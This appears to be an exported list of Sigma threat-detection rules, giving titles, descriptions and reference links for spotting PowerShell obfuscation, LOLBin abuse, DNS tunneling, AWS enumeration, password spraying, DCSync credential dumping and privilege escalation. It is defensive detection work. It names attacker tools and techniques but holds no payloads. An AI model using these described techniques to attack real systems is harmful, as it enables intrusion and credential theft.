Invocation Of Crypto-Classes From The "Cryptography" PowerShell Namespace	Detects the invocation of PowerShell commands with references to classes from the "System.Security.Cryptography" namespace. The PowerShell namespace "System.Security.Cryptography" provides classes for on-the-fly encryption and decryption. These can be used for example in decrypting malicious payload for defense evasion.	https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography?view=net-8.0, https://blogs.vmware.com/security/2023/11/jupyter-rising-an-update-on-jupyter-infostealer.html, https://www.virustotal.com/gui/file/39102fb7bb6a74a9c8cb6d46419f9015b381199ea8524c1376672b30fffd69d2
New Windows Firewall Rule Added Via New-NetFirewallRule Cmdlet	Detects calls to the "New-NetFirewallRule" cmdlet from PowerShell in order to add a new firewall rule with an "Allow" action.	https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.004/T1562.004.md#atomic-test-24---set-a-firewall-rule-using-new-netfirewallrule, https://malware.news/t/the-rhysida-ransomware-activity-analysis-and-ties-to-vice-society/72170, https://cybersecuritynews.com/rhysida-ransomware-attacking-windows/
Potentially Suspicious PowerShell Child Processes	Detects potentially suspicious child processes spawned by PowerShell. Use this rule to hunt for potential anomalies initiating from PowerShell scripts and commands.	https://twitter.com/ankit_anubhav/status/1518835408502620162
Regsvr32.EXE Calling of DllRegisterServer Export Function Implicitly	Detects execution of regsvr32 with the silent flag and no other flags on a DLL located in an uncommon or potentially suspicious location. When Regsvr32 is called in such a way, it implicitly calls the DLL export function 'DllRegisterServer'.	https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/, https://www.virustotal.com/gui/file/288fc4f954f98d724e6fab32a89477943df5c0e9662cb199a19b90ae0c63aebe/detection, https://learn.microsoft.com/en-us/windows/win32/api/olectl/nf-olectl-dllregisterserver, https://ss64.com/nt/regsvr32.html
Remote Access Tool - Action1 Arbitrary Code Execution and Remote Sessions	Detects the execution of Action1 in order to execute arbitrary code or establish a remote session. Action1 is a powerful Remote Monitoring and Management tool that enables users to execute commands, scripts, and binaries. Through the web interface of action1, the administrator must create a new policy or an app to establish remote execution and then points that the agent is installed. Hunting Opportunity 1- Weed Out The Noise When threat actors execute a script, a command, or a binary through these new policies and apps, the names of these become visible in the command line during the execution process. Below is an example of the command line that contains the deployment of a binary through a policy with name "test_app_1": ParentCommandLine: "C:\WINDOWS\Action1\action1_agent.exe schedule:Deploy_App__test_app_1_1681327673425 runaction:0" After establishing a baseline, we can split the command to extract the policy name and group all the policy names and inspect the results with a list of frequency occurrences. Hunting Opportunity 2 - Remote Sessions On Out Of Office Hours If you have admins within your environment using remote sessions to administer endpoints, you can create a threat-hunting query and modify the time of the initiated sessions looking for abnormal activity.	https://twitter.com/Kostastsale/status/1646256901506605063?s=20, https://www.action1.com/documentation/
Remote Access Tool - Ammy Admin Agent Execution	Detects the execution of the Ammy Admin RMM agent for remote management.	https://www.ammyy.com/en/admin_features.html
Remote Access Tool - Cmd.EXE Execution via AnyViewer	Detects execution of "cmd.exe" via the AnyViewer RMM agent on a remote management sessions.	https://www.anyviewer.com/help/remote-technical-support.html
Remote Access Tool - ScreenConnect Remote Command Execution - Hunting	Detects remote binary or command execution via the ScreenConnect Service. Use this rule in order to hunt for potentially anomalous executions originating from ScreenConnect	https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708
DLL Call by Ordinal Via Rundll32.EXE	Detects calls of DLLs exports by ordinal numbers via rundll32.dll.	https://web.archive.org/web/20200530031906/https://techtalk.pcmatic.com/2017/11/30/running-dll-files-malware-analysis/, https://github.com/Neo23x0/DLLRunner, https://twitter.com/cyb3rops/status/1186631731543236608, https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/
Rundll32.EXE Calling DllRegisterServer Export Function Explicitly	Detects when the DLL export function 'DllRegisterServer' is called in the commandline by Rundll32 explicitly where the DLL is located in a non-standard path.	https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/, https://www.virustotal.com/gui/file/94816439312563db982cd038cf77cbc5ef4c7003e3edee86e2b0f99e675ed4ed/behavior, https://learn.microsoft.com/en-us/windows/win32/api/olectl/nf-olectl-dllregisterserver
Scheduled Task Creation From Potential Suspicious Parent Location	Detects the execution of "schtasks.exe" from a parent that is located in a potentially suspicious location. Multiple malware strains were seen exhibiting a similar behavior in order to achieve persistence.	https://app.any.run/tasks/649e7b46-9bec-4d05-98a5-dfa9a13eaae5/
SC.EXE Query Execution	Detects execution of "sc.exe" to query information about registered services on the system	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1007/T1007.md#atomic-test-1---system-service-discovery
Potential CommandLine Obfuscation Using Unicode Characters	Detects potential CommandLine obfuscation using unicode characters. Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.	https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md#atomic-test-6---dlp-evasion-via-sensitive-data-in-vba-macro-over-http
Potentially Suspicious Compression Tool Parameters	Detects potentially suspicious command line arguments of common data compression tools	https://twitter.com/SBousseaden/status/1184067445612535811
Elevated System Shell Spawned	Detects when a shell program such as the Windows command prompt or PowerShell is launched with system privileges. Use this rule to hunt for potential suspicious processes.	https://github.com/Wh04m1001/SysmonEoP
EventLog Query Requests By Builtin Utilities	Detect attempts to query the contents of the event log using command line utilities. Attackers use this technique in order to look for sensitive information in the logs such as passwords, usernames, IPs, etc.	https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.diagnostics/get-winevent?view=powershell-7.3, https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-eventlog?view=powershell-5.1, http://www.solomonson.com/posts/2010-07-09-reading-eventviewer-command-line/, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil
Potential Suspicious Execution From GUID Like Folder Names	Detects potential suspicious execution of a GUID like folder name located in a suspicious location such as %TEMP% as seen being used in IcedID attacks. Use this rule to hunt for potentially suspicious activity stemming from uncommon folders.	https://twitter.com/Kostastsale/status/1565257924204986369
Execution From Webserver Root Folder	Detects a program executing from a web server root folder. Use this rule to hunt for potential interesting activity such as webshell or backdoors	Internal Research
Tunneling Tool Execution	Detects the execution of well known tools that can be abused for data exfiltration and tunneling.	https://www.microsoft.com/en-us/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/
File or Folder Permissions Modifications	Detects a file or folder's permissions being modified or tampered with.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.001/T1222.001.md, https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh750728(v=ws.11), https://github.com/swagkarna/Defeat-Defender-V1.2.0
Manual Execution of Script Inside of a Compressed File	This is a threat-hunting query to collect information related to the interactive execution of a script from inside a compressed file (zip/rar). Windows will automatically run the script using scripting interpreters such as wscript and cscript binaries. From the query below, the child process is the script interpreter that will execute the script. The script extension is also a set of standard extensions that Windows OS recognizes. Selections 1-3 contain three different execution scenarios. 1. Compressed file opened using 7zip. 2. Compressed file opened using WinRar. 3. Compressed file opened using native windows File Explorer capabilities. When the malicious script is double-clicked, it will be extracted to the respected directories as signified by the CommandLine on each of the three Selections. It will then be executed using the relevant script interpreter."	https://app.any.run/tasks/25970bb5-f864-4e9e-9e1b-cc8ff9e6386a, https://app.any.run/tasks/fa99cedc-9d2f-4115-a08e-291429ce3692
Process Terminated Via Taskkill	Detects execution of "taskkill.exe" in order to stop a service or a process. Look for suspicious parents executing this command in order to hunt for potential malicious activity. Attackers might leverage this in order to conduct data destruction or data encrypted for impact on the data stores of services like Exchange and SQL Server.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1489/T1489.md#atomic-test-3---windows---stop-service-by-killing-process, https://unit42.paloaltonetworks.com/snipbot-romcom-malware-variant/
Suspicious Tasklist Discovery Command	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md#atomic-test-2---process-discovery---tasklist
System Information Discovery Via Wmic.EXE	Detects the use of the WMI command-line (WMIC) utility to identify and display various system information, including OS, CPU, GPU, disk drive names, memory capacity, display resolution, baseboard, BIOS, and GPU driver products/versions.	https://github.com/redcanaryco/atomic-red-team/blob/a2ccd19c37d0278b4ffa8583add3cf52060a5418/atomics/T1082/T1082.md#atomic-test-25---system-information-discovery-with-wmic, https://nwgat.ninja/getting-system-information-with-wmic-on-windows/, https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar, https://blog.cyble.com/2023/01/18/aurora-a-stealer-using-shapeshifting-tactics/, https://app.any.run/tasks/a6aa0057-82ec-451f-8f99-55650ca537da/, https://www.virustotal.com/gui/file/d6f6bc10ae0e634ed4301d584f61418cee18e5d58ad9af72f8aa552dc4aaeca3/behavior
WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript	Detects script file execution (.js, .jse, .vba, .vbe, .vbs, .wsf) by Wscript/Cscript	https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/, https://redcanary.com/blog/gootloader/
Arbitrary Command Execution Using WSL	Detects potential abuse of Windows Subsystem for Linux (WSL) binary as a Living of the Land binary in order to execute arbitrary Linux or Windows commands.	https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/, https://twitter.com/nas_bench/status/1535431474429808642
Cab File Extraction Via Wusa.EXE	Detects execution of the "wusa.exe" (Windows Update Standalone Installer) utility to extract cab using the "/extract" argument that is no longer supported.	https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html
Scheduled Task Created - Registry	Detects the creation of a scheduled task via Registry keys.	https://center-for-threat-informed-defense.github.io/summiting-the-pyramid/analytics/task_scheduling/, https://posts.specterops.io/abstracting-scheduled-tasks-3b6451f6a1c5
Microsoft Office Trusted Location Updated	Detects changes to the registry keys related to "Trusted Location" of Microsoft Office. Attackers might add additional trusted locations to avoid macro security restrictions.	https://admx.help/?Category=Office2016&Policy=excel16.Office.Microsoft.Policies.Windows::L_TrustedLoc01
Registry Set With Crypto-Classes From The "Cryptography" PowerShell Namespace	Detects the setting of a registry inside the "\Shell\Open\Command" value with PowerShell classes from the "System.Security.Cryptography" namespace. The PowerShell namespace "System.Security.Cryptography" provides classes for on-the-fly encryption and decryption. These can be used for example in decrypting malicious payload for defense evasion.	https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography?view=net-8.0, https://squiblydoo.blog/2023/11/07/october-2023-solarmarker/
Command Executed Via Run Dialog Box - Registry	Detects execution of commands via the run dialog box on Windows by checking values of the "RunMRU" registry key. This technique was seen being abused by threat actors to deceive users into pasting and executing malicious commands, often disguised as CAPTCHA verification steps.	https://www.forensafe.com/blogs/runmrukey.html, https://medium.com/@shaherzakaria8/downloading-trojan-lumma-infostealer-through-capatcha-1f25255a0e71, https://redcanary.com/blog/threat-intelligence/intelligence-insights-october-2024/
Service Binary in User Controlled Folder	Detects the setting of the "ImagePath" value of a service registry key to a path controlled by a non-administrator user such as "\AppData\" or "\ProgramData\". Attackers often use such directories for staging purposes. This rule might also trigger on badly written software, where if an attacker controls an auto starting service, they might achieve persistence or privilege escalation. Note that while ProgramData is a user controlled folder, software might apply strict ACLs which makes them only accessible to admin users. Remove such folders via filters if you experience a lot of noise.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
Shell Context Menu Command Tampering	Detects changes to shell context menu commands. Use this rule to hunt for potential anomalies and suspicious shell commands.	https://mrd0x.com/sentinelone-persistence-via-menu-context/
AWS EC2 Download Userdata	Detects bulk downloading of User Data associated with AWS EC2 instances. Instance User Data may include installation scripts and hard-coded secrets for deployment.	https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ec2__download_userdata/main.py
Potential Backup Enumeration on AWS	Detects potential enumeration activity targeting an AWS instance backups	https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/
Account Enumeration on AWS	Detects enumeration of accounts configuration via api call to list different instances and services within a short period of time.	None
Potential Network Enumeration on AWS	Detects network enumeration performed on AWS.	https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/
Potential Storage Enumeration on AWS	Detects potential enumeration activity targeting AWS storage	https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/
AWS Lambda Function Created or Invoked	Detects when an user creates or invokes a lambda function.	https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
AWS Macie Evasion	Detects evade to Macie detection.	https://docs.aws.amazon.com/cli/latest/reference/macie/
Potential AWS Cloud Email Service Abuse	Detects when the email sending feature is enabled for an AWS account and the email address verification request is dispatched in quick succession	https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/
Sign-in Failure Bad Password Threshold	Define a baseline threshold and then monitor and adjust to suit your organizational behaviors and limit false alerts from being generated.	https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#things-to-monitor
CVE-2021-3156 Exploitation Attempt	Detects exploitation attempt of vulnerability described in CVE-2021-3156. Alternative approach might be to look for flooding of auditd logs due to bruteforcing required to trigger the heap-based buffer overflow.	https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
CVE-2021-3156 Exploitation Attempt Bruteforcing	Detects exploitation attempt of vulnerability described in CVE-2021-3156. Alternative approach might be to look for flooding of auditd logs due to bruteforcing. required to trigger the heap-based buffer overflow.	https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
Potential CVE-2021-4034 Exploitation Attempt	Detects exploitation attempt of the vulnerability described in CVE-2021-4034.	https://github.com/berdav/CVE-2021-4034, https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4034, https://access.redhat.com/security/cve/CVE-2021-4034
Use of Debugfs to Access a Raw Disk	Detects access to a raw disk on a host to evade detection by security products.	https://twitter.com/0xm1rch/status/1600857731073654784?s=20&t=MdrBPqv4hnBEfAJBayMCZA, https://github.com/Neo23x0/auditd/blob/master/audit.rules
OMIGOD SCX RunAsProvider ExecuteScript	Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx* prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite.	https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure, https://censys.io/blog/understanding-the-impact-of-omigod-cve-2021-38647/, https://github.com/Azure/Azure-Sentinel/pull/3071/files
Failed Logins with Different Accounts from Single Source - Linux	Detects suspicious failed logins with different user accounts from a single source system	None
Privilege Escalation Preparation	Detects suspicious shell commands indicating the information gathering phase as preparation for the Privilege Escalation.	https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/, https://patrick-bareiss.com/detect-privilege-escalation-preparation-in-linux-with-sigma/, https://github.com/uber-common/metta/blob/master/MITRE/Privilege_Escalation/privesc_linux_filesystemweakness.yml
Possible DNS Tunneling	Normally, DNS logs contain a limited amount of different dns queries for a single domain. This rule detects a high amount of queries for a single domain, which can be an indicator that DNS is used to transfer data.	https://zeltser.com/c2-dns-tunneling/, https://patrick-bareiss.com/detect-c2-traffic-over-dns-using-sigma/
High DNS Bytes Out	High DNS queries bytes amount from host per short period of time	None
High NULL Records Requests Rate	Extremely high rate of NULL record type DNS requests from host per short period of time. Possible result of iodine tool execution	None
High DNS Requests Rate	High DNS requests amount from host per short period of time	None
High DNS subdomain requests rate per domain	High rate of unique Fully Qualified Domain Names (FQDN) requests per root domain (eTLD+1) in short period of time	None
High TXT Records Requests Rate	Extremely high rate of TXT record type DNS requests from host per short period of time. Possible result of Do-exfiltration tool execution	None
Large domain name request	Detects large DNS domain names	None
High DNS Bytes Out - Firewall	High DNS queries bytes amount from host per short period of time	None
High DNS Requests Rate - Firewall	High DNS requests amount from host per short period of time	None
Network Scans Count By Destination IP	Detects many failed connection attempts to different ports or hosts	None
Possible DNS Rebinding	Detects DNS-answer with TTL <10.	https://medium.com/@brannondorsey/attacking-private-networks-from-the-internet-with-dns-rebinding-ea7098a2d325
Network Scans Count By Destination Port	Detects many failed connection attempts to different ports or hosts	None
Multiple Modsecurity Blocks	Detects multiple blocks by the mod_security module (Web Application Firewall)	None
Multiple Suspicious Resp Codes Caused by Single Client	Detects possible exploitation activity or bugs in a web application	None
Invoke-Obfuscation CLIP+ Launcher	Detects Obfuscated use of Clip.exe to execute PowerShell	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Obfuscated IEX Invocation	Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework (See reference section for code block)	https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888
Invoke-Obfuscation STDIN+ Launcher	Detects Obfuscated use of stdin to execute PowerShell	https://github.com/SigmaHQ/sigma/issues/1009
Possible DNS Rebinding	Detects several different DNS-answers by one domain with IPs from internal and external networks. Normally, DNS-answer contain TTL >100. (DNS-record will saved in host cache for a while TTL).	https://medium.com/@brannondorsey/attacking-private-networks-from-the-internet-with-dns-rebinding-ea7098a2d325
Invoke-Obfuscation VAR+ Launcher	Detects Obfuscated use of Environment Variables to execute PowerShell	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation COMPRESS OBFUSCATION	Detects Obfuscated Powershell via COMPRESS OBFUSCATION	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation RUNDLL LAUNCHER	Detects Obfuscated Powershell via RUNDLL LAUNCHER	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Via Stdin	Detects Obfuscated Powershell via Stdin in Scripts	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Via Use Clip	Detects Obfuscated Powershell via use Clip.exe in Scripts	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Via Use MSHTA	Detects Obfuscated Powershell via use MSHTA in Scripts	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Via Use Rundll32	Detects Obfuscated Powershell via use Rundll32 in Scripts	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION	Detects Obfuscated Powershell via VAR++ LAUNCHER	https://github.com/SigmaHQ/sigma/issues/1009
Meterpreter or Cobalt Strike Getsystem Service Installation	Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation	https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment, https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
Tap Driver Installation	Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques	None
File Creation by Office Applications	This rule will monitor executable and script file creation by office applications. Please add more file extensions or magic bytes to the logic of your choice.	https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/, https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml
Mimikatz In-Memory	Detects certain DLL loads when Mimikatz gets executed	https://securityriskadvisors.com/blog/post/detecting-in-memory-mimikatz/
Execution via CL_Invocation.ps1 (2 Lines)	Detects Execution via SyncInvoke in CL_Invocation.ps1 module	https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/, https://twitter.com/bohops/status/948061991012327424
Execution via CL_Mutexverifiers.ps1 (2 Lines)	Detects Execution via runAfterCancelProcess in CL_Mutexverifiers.ps1 module	https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/, https://twitter.com/pabraeken/status/995111125447577600
Silence.Downloader V3	Detects Silence downloader. These commands are hardcoded into the binary.	None
Automated Turla Group Lateral Movement	Detects automated lateral movement by Turla group	https://securelist.com/the-epic-turla-operation/65545/
DNSCat2 Powershell Implementation Detection Via Process Creation	The PowerShell implementation of DNSCat2 calls nslookup to craft queries. Counting nslookup processes spawned by PowerShell will show hundreds or thousands of instances if PS DNSCat2 is active locally.	https://github.com/lukebaggett/dnscat2-powershell, https://blu3-team.blogspot.com/2019/08/powershell-dns-c2-notes.html, https://ragged-lab.blogspot.com/2020/06/it-is-always-dns-powershell-edition.html
Reconnaissance Activity Using BuiltIn Commands	Detects execution of a set of builtin commands often used in recon stages by different attack groups	https://twitter.com/haroonmeer/status/939099379834658817, https://twitter.com/c_APT_ure/status/939475433711722497, https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html
Quick Execution of a Series of Suspicious Commands	Detects multiple suspicious process in a limited timeframe	https://car.mitre.org/wiki/CAR-2013-04-002
MSI Spawned Cmd and Powershell Spawned Processes	This rule looks for Windows Installer service (msiexec.exe) spawning command line and/or powershell that spawns other processes	https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-50-638.jpg, https://www.slideshare.net/heirhabarov/hunting-for-privilege-escalation-in-windows-environment
Always Install Elevated Parent Child Correlated	This rule will looks any process with low privilege launching Windows Installer service (msiexec.exe) that tries to install MSI packages with SYSTEM privilege	https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-48-638.jpg
Files Dropped to Program Files by Non-Priviledged Process	Search for dropping of files to Windows/Program Files fodlers by non-priviledged processes	https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-37-638.jpg
Stored Credentials in Fake Files	Search for accessing of fake files with stored credentials	https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-13-638.jpg
Dumping ntds.dit remotely via DCSync	ntds.dit retrieving using synchronisation with legitimate domain controller using Directory Replication Service Remote Protocol	https://twitter.com/gentilkiwi/status/1003236624925413376, https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2, https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
Dumping ntds.dit remotely via NetSync	ntds.dit retrieving (only computer accounts) using synchronisation with legit domain controller using Netlogon Remote Protocol	https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
Windows Kernel and 3rd-Party Drivers Exploits Token Stealing	Detection of child processes spawned with SYSTEM privileges by parents with non-SYSTEM privileges and Medium integrity level	https://www.slideshare.net/heirhabarov/hunting-for-privilege-escalation-in-windows-environment
Malicious Service Installations	Detects known malicious service installs that only appear in cases of lateral movement, credential dumping, and other suspicious activities.	https://awakesecurity.com/blog/threat-hunting-for-paexec/, https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html, https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf
Metasploit Or Impacket Service Installation Via SMB PsExec	Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation	https://bczyz1.github.io/2021/01/30/psexec.html
Detection of Possible Rotten Potato	Detection of child processes spawned with SYSTEM privileges by parents with LOCAL SERVICE or NETWORK SERVICE privileges	https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment, https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
Remote Schtasks Creation	Detects remote execution via scheduled task creation or update on the destination host	https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view
Enumeration via the Global Catalog	Detects enumeration of the global catalog (that can be performed using BloodHound or others AD reconnaissance tools). Adjust Threshold according to domain width.	https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5156
Rare Schtasks Creations	Detects rare scheduled tasks creations that only appear a few times per time frame and could reveal password dumpers, backdoor installs or other types of malicious code	None
Password Spraying via Explicit Credentials	Detects a single user failing to authenticate to multiple users using explicit credentials.	https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying
Multiple Users Failing to Authenticate from Single Process	Detects failed logins with multiple accounts from a single process on the system.	https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying, https://www.trimarcsecurity.com/single-post/2018/05/06/trimarc-research-detecting-password-spraying-with-security-event-auditing
Failed Logins with Different Accounts from Single Source System	Detects suspicious failed logins with different user accounts from a single source system	None
Failed NTLM Logins with Different Accounts from Single Source System	Detects suspicious failed logins with different user accounts from a single source system	None
Valid Users Failing to Authenticate From Single Source Using Kerberos	Detects multiple failed logins with multiple valid domain accounts from a single source system using the Kerberos protocol.	https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying
Disabled Users Failing To Authenticate From Source Using Kerberos	Detects failed logins with multiple disabled domain accounts from a single source system using the Kerberos protocol.	https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying
Invalid Users Failing To Authenticate From Source Using Kerberos	Detects failed logins with multiple invalid domain accounts from a single source system using the Kerberos protocol.	https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying
Valid Users Failing to Authenticate from Single Source Using NTLM	Detects failed logins with multiple valid domain accounts from a single source system using the NTLM protocol.	https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying
Invalid Users Failing To Authenticate From Single Source Using NTLM	Detects failed logins with multiple invalid domain accounts from a single source system using the NTLM protocol.	https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying
Multiple Users Remotely Failing To Authenticate From Single Source	Detects a source system failing to authenticate against a remote host with multiple users.	https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying
Suspicious Multiple File Rename Or Delete Occurred	Detects multiple file rename or delete events occurrence within a specified period of time by a same user (these events may signalize about ransomware activity).	https://www.manageengine.com/data-security/how-to/how-to-detect-ransomware-attacks.html
Possible Remote Password Change Through SAMR	Detects a possible remote NTLM hash change through SAMR API SamiChangePasswordUser() or SamSetInformationUser(). "Audit User Account Management" in "Advanced Audit Policy Configuration" has to be enabled in your local security policy / GPO to see this events.	None
Suspicious Werfault.exe Network Connection Outbound	Adversaries can migrate cobalt strike/metasploit/C2 beacons on compromised systems to legitimate werfault.exe process to avoid detection.	https://thedfirreport.com/2021/03/08/bazar-drops-the-anchor/
Failed Mounting of Hidden Share	Detects repeated failed (outgoing) attempts to mount a hidden share	https://twitter.com/moti_b/status/1032645458634653697, https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Cyber-Security/SiSyPHuS/AP10/Logging_Configuration_Guideline.pdf?__blob=publicationFile&v=5
Rare Service Installations	Detects rare service installs that only appear a few times per time frame and could reveal password dumpers, backdoor installs or other types of malicious services	None
Rare Scheduled Task Creations	This rule detects rare scheduled task creations. Typically software gets installed on multiple systems and not only on a few. The aggregation and count function selects tasks with rare names.	None
Domain User Enumeration Network Recon 01	Domain user and group enumeration via network reconnaissance. Seen in APT 29 and other common tactics and actors. Detects a set of RPC (remote procedure calls) used to enumerate a domain controller. The rule was created based off the datasets and hackathon from https://github.com/OTRF/detection-hackathon-apt29	https://github.com/OTRF/detection-hackathon-apt29, https://github.com/OTRF/detection-hackathon-apt29/issues/37
Potential Exfiltration of Compressed Files	This rule detects potential exfiltration by looking for a few compression extensions in the uri and signs of compression in the mime type, file type, and http body	https://github.com/OTRF/detection-hackathon-apt29/issues/17